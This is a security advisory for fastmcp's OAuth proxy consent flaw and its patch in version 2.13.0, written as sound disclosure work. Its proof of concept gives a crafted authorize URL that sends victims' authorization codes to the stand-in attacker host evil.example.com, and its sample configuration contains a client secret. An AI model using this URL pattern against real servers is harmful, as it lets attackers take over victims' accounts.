| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| fastmcp | pip | < 2.13.0 | 2.13.0 |
The vulnerability is a classic 'confused deputy' attack within the FastMCP OAuth Proxy authentication mechanism, patched in version 2.13.0. The root cause was in the OAuthProxy.authorize function, which failed to verify user consent for the specific client application initiating an authorization request.
An attacker could exploit this by registering a malicious client with a redirect_uri pointing to a server they control. They would then craft a special authorization URL and trick a victim, already logged into the upstream identity provider (like Google or Azure), into clicking it. The vulnerable authorize function would immediately redirect the victim to the provider, which, seeing an active user session, would automatically approve the request and send an authorization code back to the FastMCP server. The server would then complete the attack by forwarding this access to the attacker's malicious redirect_uri.
The patch addresses this by fundamentally changing the authorize function's behavior. It no longer redirects directly to the external provider. Instead, it redirects to a new, local /consent endpoint. This new interstitial page displays the details of the client requesting access, including its name and redirect URI, and requires the user to explicitly approve or deny the request. This action breaks the attack chain by ensuring the user is always aware of and consents to which specific client is being authorized. The primary vulnerable function is fastmcp.server.auth.oauth_proxy.OAuthProxy.authorize because it lacked this critical consent step.
OAuthProxy.authorizesrc/fastmcp/server/auth/oauth_proxy.py
OAuthProxy._handle_idp_callbacksrc/fastmcp/server/auth/oauth_proxy.py
http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
When using the built-in FastMCP /authorize endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:
https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
[!NOTE] In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.
Notice that the client ID and redirect URIs in the login.microsoftonline.com call are different than the initial /authorize call - that's because we're now switching to using the MCP server's static app registration instead of the DCR client details.
Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow:
This consent flow is only showed the first time the user needs to use this application. Once the consent is set, they will never be prompted for this unless revoked.
This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.
With the user consented to the static client for Entra ID that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.
Now, an attacker comes in - in their own MCP client (i.e., they maintain one at https://evil.example.com) they start the authorization with the same remote MCP server and get to the point where the server produces their own authorization URI for this client ID:
http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp
[!IMPORTANT] Note that the redirect URI above points to the
https://evil.example.comclient.
At this point - they grab the URL and coerce the victim (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the static Entra ID client that the MCP server is using. The DCR-d registered client ID that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to https://evil.example.com.
The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.
See above - the outline covers the attack vector.
Standard documented sample that uses Entra ID:
from fastmcp import FastMCP
from fastmcp.server.auth.providers.azure import AzureProvider
# The AzureProvider handles Azure's token format and validation
auth_provider = AzureProvider(
client_id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID
client_secret="H3X8Q~coFQaI_zpYXePrzdRFZ7xmwEORJJ49tcnw", # Your Azure App Client Secret
tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED)
base_url="http://localhost:8000", # Must match your App registration
required_scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions
# redirect_path="/auth/callback" # Default value, customize if needed
)
mcp = FastMCP(name="Azure Secured App", auth=auth_provider)
# Add a protected tool to test authentication
@mcp.tool
async def get_user_info() -> dict:
"""Returns information about the authenticated Azure user."""
from fastmcp.server.dependencies import get_access_token
token = get_access_token()
# The AzureProvider stores user data in token claims
return {
"azure_id": token.claims.get("sub"),
"email": token.claims.get("email"),
"name": token.claims.get("name"),
"job_title": token.claims.get("job_title"),
"office_location": token.claims.get("office_location")
}
Potential for server account compromise.
Ongoing coverage of React2Shell